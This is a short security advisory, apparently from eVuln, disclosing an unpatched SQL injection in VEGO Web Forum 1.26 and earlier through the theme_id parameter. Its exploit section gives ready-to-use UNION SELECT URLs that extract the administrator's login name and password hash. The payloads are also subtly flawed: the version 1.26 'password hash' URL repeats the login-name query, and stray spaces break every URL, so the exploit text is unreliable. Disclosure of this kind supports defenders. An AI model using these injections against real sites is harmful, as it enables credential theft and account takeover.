EV0001.txt

`New eVuln Advisory:  
VEGO Web Forum SQL Injection Vulnerability  
  
--------------------Summary----------------  
Vendor: VEGO  
Software: VEGO Web Forum  
Versions: 1.26 and earlier  
Critical Level: Moderate  
Type: SQL Injection  
Remote: yes  
Status: Unpatched  
Exploit: Available  
Solution: Not Available  
Discovered by: Aliaksandr Hartsuyeu ([email protected])  
eVuln ID: EV0001  
-----------------Description--------------  
Vulnerable scripts:  
php/functions.php  
php/functions_update.php  
php/functions_display.php  
  
Variable theme_id isn't properly sanitized before being used in a SQL query. This can be used to make any SQL query by injecting arbitrary SQL code.  
  
Administrator's authentication is threatened.  
  
-------------------Exploit-----------------  
Administrator's login name.  
  
For version 1.26:  
http://hostname/webforum/index.php? theme_id=-1% 20union%20select% 201,2,name, 4,5%20from% 20vwf_users% 20where%20userid=1/*  
  
Earlier versions:  
http://hostname/temp/_1/webforum/index.php? theme_id=-1% 20union%20select% 201,2,name, 4%20from%20vwf_users% 20where%20userid=1/*  
  
  
Hash of administrator's password.  
  
For version 1.26:  
http://hostname/webforum/index.php? theme_id=-1% 20union%20select% 201,2,name, 4,5%20from% 20vwf_users% 20where%20userid=1/*  
  
Earlier versions:  
http://hostname/temp/_1/webforum/index.php? theme_id=-1% 20union%20select% 201,2,pass, 4%20from%20vwf_users% 20where%20userid=1/*   
  
--------------Credit---------------------  
  
Original Advisory:  
http://evuln.com/vulns/1/summary.html  
  
Discovered by: Aliaksandr Hartsuyeu ([email protected])  
`